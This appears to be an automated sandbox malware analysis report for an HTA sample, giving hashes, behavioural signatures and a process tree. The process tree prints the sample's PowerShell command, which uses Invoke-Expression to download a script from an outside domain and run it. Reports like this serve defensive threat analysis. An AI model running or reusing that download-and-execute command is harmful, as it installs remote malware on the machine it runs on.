Analysis
-
max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
23-05-2024 01:19
Static task
static1
Behavioral task
behavioral1
Sample
3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6.hta
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6.hta
Resource
win10v2004-20240508-en
General
-
Target
3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6.hta
-
Size
2KB
-
MD5
f754844cfb65838d1dd6b19dde5d835c
-
SHA1
b3eb677783adc88c8d048898449e04d49f416db6
-
SHA256
3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
-
SHA512
f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2964 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2964 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
mshta.exedescription pid process target process PID 2884 wrote to memory of 2964 2884 mshta.exe powershell.exe PID 2884 wrote to memory of 2964 2884 mshta.exe powershell.exe PID 2884 wrote to memory of 2964 2884 mshta.exe powershell.exe PID 2884 wrote to memory of 2964 2884 mshta.exe powershell.exe
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6.hta"1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken